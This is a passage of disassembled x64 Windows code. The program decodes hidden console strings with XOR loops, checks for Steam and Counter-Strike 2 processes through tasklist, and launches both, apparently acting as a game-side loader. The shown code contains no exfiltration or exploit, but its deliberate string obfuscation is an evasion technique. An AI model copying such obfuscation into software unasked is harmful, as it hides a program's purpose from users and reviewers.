xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xd0]
add r8, rax
lea ecx, [r10 + 0x20]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x55
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xd1]
add r8, rax
lea ecx, [r10 + 0x21]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x56
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xd2]
add r8, rax
lea ecx, [r10 + 0x22]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x57
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xd3]
add r8, rax
lea ecx, [r10 + 0x23]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x58
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xd4]
add r8, rax
lea ecx, [r10 + 0x24]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x59
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xd5]
add r8, rax
lea ecx, [r10 + 0x25]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x5a
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xd6]
add r8, rax
lea ecx, [r10 + 0x26]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x32
sub r9b, dl
add r9b, 0x5b
xor byte [r8], r9b
add r10d, 0x29
lea eax, [r10 - 2]
cmp eax, 0x52
jl 0x1400213a0
lea rdx, [rsp + 0xb0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
vzeroupper
call fcn.14001b830
lea rdx, [0x14001ba00]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov byte [rsp + 0x40], 0
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001b830
lea rdx, [0x14001ba00]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 4
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
vmovups ymm0, ymmword [0x1400941d0]
vmovups ymmword [rsp + 0xb0], ymm0
vmovups ymm1, ymmword [0x1400941f0]
vmovups ymmword [rsp + 0xd0], ymm1
vmovsd xmm0, qword [0x140094210]
vmovsd qword [rsp + 0xf0], xmm0
mov eax, dword [0x140094218]
mov dword [rsp + 0xf8], eax
movzx eax, word [0x14009421c]
mov word [rsp + 0xfc], ax
movzx eax, byte [0x14009421e]
mov byte [rsp + 0xfe], al
mov r8d, r15d
lea r9, [rsp + 0xb0]
nop
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul edx, eax, 0x32
movzx eax, r8b
sub al, dl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x4f
jl 0x140021cc0
lea rdx, [rsp + 0xb0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
vzeroupper
call fcn.14001b830
lea rdx, [0x14001ba00]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov byte [rsp + 0x40], 0
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001b830
lea rdx, [0x14001ba00]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rsi, rax
mov qword [rsp + 0xa0], rax
mov edx, 5
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, str.tasklist__find__steam.exe____NUL
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
test eax, eax
je 0x1400220a6
vmovups ymm0, ymmword [0x140094600]
vmovups ymmword [rsp + 0x60], ymm0
vmovsd xmm0, qword [0x140094620]
vmovsd qword [rsp + 0x80], xmm0
movzx eax, word [0x140094628]
mov word [rsp + 0x88], ax
mov byte [rsp + 0x60], 0x44
xor byte [rsp + 0x61], 0x34
xor byte [rsp + 0x62], 0x35
xor byte [rsp + 0x63], 0x36
xor byte [rsp + 0x64], 0x37
xor byte [rsp + 0x65], 0x38
xor byte [rsp + 0x66], 0x39
xor byte [rsp + 0x67], 0x3a
xor byte [rsp + 0x68], 0x3b
xor byte [rsp + 0x69], 0x3c
xor byte [rsp + 0x6a], 0x3d
xor byte [rsp + 0x6b], 0x3e
xor byte [rsp + 0x6c], 0x3f
xor byte [rsp + 0x6d], 0x40
xor byte [rsp + 0x6e], 0x41
xor byte [rsp + 0x6f], 0x42
xor byte [rsp + 0x70], 0x43
xor byte [rsp + 0x71], 0x44
xor byte [rsp + 0x72], 0x45
xor byte [rsp + 0x73], 0x46
xor byte [rsp + 0x74], 0x47
xor byte [rsp + 0x75], 0x48
xor byte [rsp + 0x76], 0x49
xor byte [rsp + 0x77], 0x4a
xor byte [rsp + 0x78], 0x4b
xor byte [rsp + 0x79], 0x4c
xor byte [rsp + 0x7a], 0x4d
xor byte [rsp + 0x7b], 0x4e
xor byte [rsp + 0x7c], 0x4f
xor byte [rsp + 0x7d], 0x50
xor byte [rsp + 0x7e], 0x51
xor byte [rsp + 0x7f], 0x52
xor byte [rsp + 0x80], 0x53
xor byte [rsp + 0x81], 0x54
xor byte [rsp + 0x82], 0x55
xor byte [rsp + 0x83], 0x56
xor byte [rsp + 0x84], 0x57
xor byte [rsp + 0x85], 0x58
xor byte [rsp + 0x86], 0x59
xor byte [rsp + 0x87], 0x5a
xor al, 0x5b
mov byte [rsp + 0x88], al
xor byte [rsp + 0x89], 0x5c
lea rdx, [rsp + 0x60]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
vzeroupper
call fcn.14001b830
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140025170
movzx eax, byte [rsp + 0x40]
sub al, 0x59
test al, 0xdf
sete al
test al, al
je 0x1400220a6
mov edx, 1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
vmovups xmm0, xmmword [0x1400943c8]
vmovups xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x50], 0x4c
xor byte [rsp + 0x51], 0x34
xor byte [rsp + 0x52], 0x35
xor byte [rsp + 0x53], 0x36
xor byte [rsp + 0x54], 0x37
xor byte [rsp + 0x55], 0x38
xor byte [rsp + 0x56], 0x39
xor byte [rsp + 0x57], 0x3a
xor byte [rsp + 0x58], 0x3b
xor byte [rsp + 0x59], 0x3c
xor byte [rsp + 0x5a], 0x3d
xor byte [rsp + 0x5b], 0x3e
xor byte [rsp + 0x5c], 0x3f
xor byte [rsp + 0x5d], 0x40
xor byte [rsp + 0x5e], 0x41
xor byte [rsp + 0x5f], 0x42
lea rdx, [rsp + 0x50]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001b830
lea rdx, [0x14001ba00]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x160], xmm0
mov qword [rsp + 0x170], r15
mov qword [rsp + 0x178], r15
mov r8d, 0x26
lea rdx, str.C:Program_Files__x86_SteamSteam.exe
lea rcx, [rsp + 0x160]
call fcn.140003d10
nop
mov rcx, qword [rsp + 0x170]
inc rcx
mov eax, 2
mul rcx
cmovo rax, r14
mov rcx, rax
call fcn.1400837e8
mov rbx, rax
lea rcx, [rsp + 0x160]
mov rdx, qword [rsp + 0x170]
cmp qword [rsp + 0x178], 0xf
jbe 0x140021fd1
mov rax, qword [rsp + 0x160]
add rdx, rax
jmp 0x140021fdc
add rdx, rcx
lea rax, [rsp + 0x160]
mov r8, rbx
mov rcx, rax
call fcn.140025230
mov rax, qword [rsp + 0x170]
mov word [rbx + rax*2], r15w
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
xor r9d, r9d
mov r8, rbx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, 0x3a98
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.tasklist__find__steam.exe____NUL
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
test eax, eax
je 0x14002204c
nop word [rax + rax]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.tasklist__find__steam.exe____NUL
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
test eax, eax
jne 0x140022030
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rbx
call fcn.1400835c4
nop
mov rdx, qword [rsp + 0x178]
cmp rdx, 0xf
jbe 0x1400220a6
inc rdx
mov rcx, qword [rsp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400220a1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400220a1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400835c4
mov edx, 2
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov eax, dword [0x1400941c8]
mov dword [rsp + 0x58], eax
movzx eax, word [0x1400941cc]
mov word [rsp + 0x5c], ax
vmovsd xmm0, qword [0x1400941c0]
movzx eax, byte [0x1400941ce]
vmovsd qword [rsp + 0x50], xmm0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov byte [rsp + 0x50], 0x4c
xor byte [rsp + 0x51], 0x34
xor byte [rsp + 0x52], 0x35
xor byte [rsp + 0x53], 0x36
xor byte [rsp + 0x54], 0x37
xor byte [rsp + 0x55], 0x38
xor byte [rsp + 0x56], 0x39
xor byte [rsp + 0x57], 0x3a
xor byte [rsp + 0x58], 0x3b
xor byte [rsp + 0x59], 0x3c
xor byte [rsp + 0x5a], 0x3d
xor byte [rsp + 0x5b], 0x3e
xor byte [rsp + 0x5c], 0x3f
xor byte [rsp + 0x5d], 0x40
xor al, 0x41
mov byte [rsp + 0x5e], al
lea rdx, [rsp + 0x50]
call fcn.14001b830
lea rdx, [0x14001ba00]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.tasklist__find__cs2.exe____NUL
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, rdi
test eax, eax
je 0x140022491
mov edx, 1
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
vmovsd xmm0, qword [0x140094690]
vmovsd qword [rsp + 0x50], xmm0
mov eax, dword [0x140094698]
mov dword [rsp + 0x58], eax
movzx eax, word [0x14009469c]
mov word [rsp + 0x5c], ax
cmp byte [0x14009469d], 0
je 0x1400221e2
mov byte [rsp + 0x50], 0x4c
xor byte [rsp + 0x51], 0x34
xor byte [rsp + 0x52], 0x35
xor byte [rsp + 0x53], 0x36
xor byte [rsp + 0x54], 0x37
xor byte [rsp + 0x55], 0x38
xor byte [rsp + 0x56], 0x39
xor byte [rsp + 0x57], 0x3a
xor byte [rsp + 0x58], 0x3b
xor byte [rsp + 0x59], 0x3c
xor byte [rsp + 0x5a], 0x3d
xor byte [rsp + 0x5b], 0x3e
xor byte [rsp + 0x5c], 0x3f
xor byte [rsp + 0x5d], 0x40
lea rdx, [rsp + 0x50]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001b830
lea rdx, [0x14001ba00]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
vmovsd xmm0, qword [str.zZ_STLPT_]
vmovsd qword [rsp + 0x50], xmm0
movzx eax, word [0x140094470]
mov word [rsp + 0x58], ax
cmp byte [0x140094471], 0
je 0x140022266
mov byte [rsp + 0x50], 0x49
xor byte [rsp + 0x51], 0x34
xor byte [rsp + 0x52], 0x35
xor byte [rsp + 0x53], 0x36
xor byte [rsp + 0x54], 0x37
xor byte [rsp + 0x55], 0x38
xor byte [rsp + 0x56], 0x39
xor byte [rsp + 0x57], 0x3a
xor byte [rsp + 0x58], 0x3b
xor byte [rsp + 0x59], 0x3c
lea rdx, [rsp + 0x50]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001b830
lea rdx, [0x14001ba00]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x160], xmm0
mov qword [rsp + 0x170], r15
mov qword [rsp + 0x178], r15
mov r8d, 0x15
lea rdx, str.steam:__rungameid_730
lea rcx, [rsp + 0x160]
call fcn.140003d10
nop
mov rcx, qword [rsp + 0x170]
inc rcx
mov eax, 2
mul rcx
cmovo rax, r14
mov rcx, rax
call fcn.1400837e8
mov rbx, rax
lea rcx, [rsp + 0x160]
mov rdx, qword [rsp + 0x170]
cmp qword [rsp + 0x178], 0xf
jbe 0x140022309
mov r9, qword [rsp + 0x160]
add rdx, r9
jmp 0x140022314
add rdx, rcx
lea r9, [rsp + 0x160]
mov r8, rbx
mov rcx, r9
call fcn.140025230
mov rax, qword [rsp + 0x170]
mov word [rbx + rax*2], r15w
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
xor r9d, r9d
mov r8, rbx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, 0x7530
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.tasklist__find__cs2.exe____NUL
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
test eax, eax
je 0x14002237e
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.tasklist__find__cs2.exe____NUL
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
test eax, eax
jne 0x140022362
lea rcx, [rsp + 0x110]
call fcn.140004f80
movabs rax, 0x7fffffffff67697f
mov rbx, qword [rsp + 0x110]
cmp rbx, rax
je 0x1400223b2
setl al
test al, al
je 0x1400223b2
add rbx, 0x989680
jmp 0x1400223b5
mov rbx, r13
movabs rsi, 0x431bde82d7b634db
mov r12d, 0xff
movabs r15, 0x4e94914effff
nop
lea rcx, [rsp + 0x110]
call fcn.140004f80
mov rax, qword [rsp + 0x110]
cmp rbx, rax
je 0x14002243a
mov ecx, 1
cmovl ecx, r12d
test cl, cl
jle 0x14002243a
mov rcx, rbx
sub rcx, rax
cmp rcx, r15
jg 0x14002242e
mov rax, rsi
imul rcx
sar rdx, 0x12
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xf4240
cmp rax, rcx
jge 0x140022425
inc rdx
mov ecx, edx
call sub.KERNEL32.dll_Sleep
jmp 0x1400223d0
mov ecx, 0x5265c00
call sub.KERNEL32.dll_Sleep
jmp 0x1400223d0
mov rdx, qword [rsp + 0x178]
cmp rdx, 0xf
mov rsi, qword [rsp + 0xa0]
mov r15d, 0
jbe 0x14002248e
inc rdx
mov rcx, qword [rsp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140022489
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140022489
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400835c4
mov rcx, rdi
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov eax, dword [0x1400946a8]
mov dword [rsp + 0x58], eax
vmovsd xmm0, qword [0x1400946a0]
movzx eax, byte [0x1400946ac]
vmovsd qword [rsp + 0x50], xmm0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov byte [rsp + 0x50], 0x4c
xor byte [rsp + 0x51], 0x34
xor byte [rsp + 0x52], 0x35
xor byte [rsp + 0x53], 0x36
xor byte [rsp + 0x54], 0x37
xor byte [rsp + 0x55], 0x38
xor byte [rsp + 0x56], 0x39
xor byte [rsp + 0x57], 0x3a
xor byte [rsp + 0x58], 0x3b
xor byte [rsp + 0x59], 0x3c
xor byte [rsp + 0x5a], 0x3d
xor byte [rsp + 0x5b], 0x3e
xor al, 0x3f
mov byte [rsp + 0x5c], al
lea rdx, [rsp + 0x50]
call fcn.14001b830
lea rdx, [0x14001ba00]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 2
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
vmovups xmm0, xmmword [str.zZ_STLeoH__21_1__H]
vmovups xmmword [rsp + 0x160], xmm0
mov eax, dword [0x1400945a0]
mov dword [rsp + 0x170], eax
movzx eax, word [0x1400945a4]
mov word [rsp + 0x174], ax
cmp byte [0x1400945a5], 0
je 0x140022616
mov byte [rsp + 0x160], 0x49
xor byte [rsp + 0x161], 0x34
xor byte [rsp + 0x162], 0x35
xor byte [rsp + 0x163], 0x36
xor byte [rsp + 0x164], 0x37
xor byte [rsp + 0x165], 0x38
xor byte [rsp + 0x166], 0x39
xor byte [rsp + 0x167], 0x3a
xor byte [rsp + 0x168], 0x3b
xor byte [rsp + 0x169], 0x3c
xor byte [rsp + 0x16a], 0x3d
xor byte [rsp + 0x16b], 0x3e
xor byte [rsp + 0x16c], 0x3f
xor byte [rsp + 0x16d], 0x40
xor byte [rsp + 0x16e], 0x41
xor byte [rsp + 0x16f], 0x42
xor byte [rsp + 0x170], 0x43
xor byte [rsp + 0x171], 0x44
xor byte [rsp + 0x172], 0x45
xor byte [rsp + 0x173], 0x46
xor byte [rsp + 0x174], 0x47
xor byte [rsp + 0x175], 0x48
lea rdx, [rsp + 0x160]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001b830
lea rdx, [0x14001ba00]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
vmovups ymm0, ymmword [0x140094428]
vmovups ymmword [rsp + 0x60], ymm0
vmovups xmm1, xmmword [0x140094448]
vmovups xmmword [rsp + 0x80], xmm1
vmovsd xmm0, qword [0x140094458]
vmovsd qword [rsp + 0x90], xmm0
movzx eax, word [0x140094460]
mov word [rsp + 0x98], ax
mov r10d, 2
nop dword [rax]
lea r9d, [r10 - 2]
movsxd rax, r10d
lea r8, [rsp + rax + 0x5e]
mov eax, 0x51eb851f
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x33
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + rax + 0x5f]
lea ecx, [r10 - 1]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x34
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0x60]
add r8, rax
mov eax, 0x51eb851f
imul r10d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x35
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0x61]
add r8, rax
lea ecx, [r10 + 1]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x36
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0x62]
add r8, rax
lea ecx, [r10 + 2]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x37
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0x63]
add r8, rax
lea ecx, [r10 + 3]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x38
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0x64]
add r8, rax
lea ecx, [r10 + 4]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x39
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0x65]
add r8, rax
lea ecx, [r10 + 5]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x3a
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0x66]
add r8, rax
lea ecx, [r10 + 6]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x3b
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0x67]
add r8, rax
lea ecx, [r10 + 7]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x3c
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0x68]
add r8, rax
lea ecx, [r10 + 8]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x3d
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0x69]
add r8, rax
lea ecx, [r10 + 9]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x3e
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0x6a]
add r8, rax
lea ecx, [r10 + 0xa]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x3f
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0x6b]
add r8, rax
lea ecx, [r10 + 0xb]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x40
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0x6c]
add r8, rax
lea ecx, [r10 + 0xc]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x41
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0x6d]
add r8, rax
lea ecx, [r10 + 0xd]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x42
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0x6e]
add r8, rax
lea ecx, [r10 + 0xe]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x43
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0x6f]
add r8, rax
lea ecx, [r10 + 0xf]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x44
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0x70]
add r8, rax
lea ecx, [r10 + 0x10]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x45
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0x71]
add r8, rax
lea ecx, [r10 + 0x11]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x46
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0x72]
add r8, rax
lea ecx, [r10 + 0x12]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x47
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0x73]
add r8, rax
lea ecx, [r10 + 0x13]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x48
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0x74]
add r8, rax
lea ecx, [r10 + 0x14]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
